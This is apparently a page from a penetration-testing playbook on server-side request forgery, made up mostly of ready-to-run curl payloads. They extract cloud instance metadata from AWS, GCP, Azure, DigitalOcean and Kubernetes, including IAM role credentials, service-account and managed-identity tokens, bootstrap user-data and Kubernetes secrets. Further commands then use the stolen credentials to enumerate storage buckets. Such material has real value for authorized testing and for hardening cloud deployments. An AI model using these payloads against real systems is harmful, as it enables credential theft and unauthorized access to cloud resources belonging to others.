Skip to main content

Cloud Metadata Extraction

CWECWE-918
Toolsssrfmap
Difficulty🟡 intermediate

Extract Cloud Metadata​

Cloud metadata services are the highest-value SSRF targets. They often contain credentials with broad access to cloud resources.

AWS​

IMDSv1 (no authentication required):

# List available metadata categories
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/"

# Discover IAM role name
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Extract IAM role credentials (replace ROLE_NAME with discovered role)
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"

# Instance user-data (often contains bootstrap secrets)
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/user-data"

# EC2 instance identity credentials
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"

IMDSv2 (token required -- harder but sometimes exploitable if the application forwards headers):

# Step 1: Obtain session token via PUT request
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Step 2: Use token in subsequent requests
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/"

AWS ECS Task Metadata:

# ECS containers expose credentials at a different endpoint
curl "https://TARGET/fetch?url=http://169.254.170.2/v2/credentials/CREDENTIAL_ID"
# CREDENTIAL_ID comes from AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var

curl "https://TARGET/fetch?url=http://169.254.170.2/v2/metadata"

S3 / Cloud Storage Permissions Check:

After extracting AWS credentials, verify access to S3 buckets:

# List buckets accessible with stolen credentials
AWS_ACCESS_KEY_ID=ASIAXXX AWS_SECRET_ACCESS_KEY=xxx AWS_SESSION_TOKEN=xxx \
aws s3 ls

# Check specific bucket access
AWS_ACCESS_KEY_ID=ASIAXXX AWS_SECRET_ACCESS_KEY=xxx AWS_SESSION_TOKEN=xxx \
aws s3 ls s3://bucket-name/

# Verify minimum permissions to demonstrate impact without exfiltrating data

GCP​

GCP metadata requires the Metadata-Flavor: Google header. Some SSRF vectors forward headers, making this exploitable:

# Recursive dump of all metadata
curl "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true" \
-H "Metadata-Flavor: Google"

# Access token for default service account
curl "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"

# Project ID
curl "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/project-id" \
-H "Metadata-Flavor: Google"

# Custom instance attributes (frequently contain secrets)
curl "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/attributes/" \
-H "Metadata-Flavor: Google"

# Alternative hostname (same service)
curl "https://TARGET/fetch?url=http://169.254.169.254/computeMetadata/v1/?recursive=true" \
-H "Metadata-Flavor: Google"

After obtaining a GCP access token, check Cloud Storage bucket permissions:

curl -H "Authorization: Bearer ACCESS_TOKEN" \  # gitleaks:allow
"https://storage.googleapis.com/storage/v1/b/BUCKET_NAME/o"

Azure​

Azure IMDS requires the Metadata: true header:

# Instance metadata
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
-H "Metadata: true"

# Managed identity OAuth2 token
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
-H "Metadata: true"

# Older instances
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/v1/InstanceInfo"

Azure/M365 Tenant Recon: If you obtain Azure credentials, enumerate tenant information:

# Check Azure Blob Storage access
curl -H "Authorization: Bearer ACCESS_TOKEN" \ # gitleaks:allow
"https://ACCOUNT.blob.core.windows.net/CONTAINER?restype=container&comp=list"

Digital Ocean​

curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/v1/"
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/v1/id"
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/v1/user-data"

Kubernetes​

# Kubernetes API server
curl "https://TARGET/fetch?url=https://kubernetes.default.svc/api/v1/namespaces/default/secrets"

# Kubelet API (read-only port)
curl "https://TARGET/fetch?url=http://10.0.0.1:10255/pods"

# Service account token (if file read is possible)
# /var/run/secrets/kubernetes.io/serviceaccount/token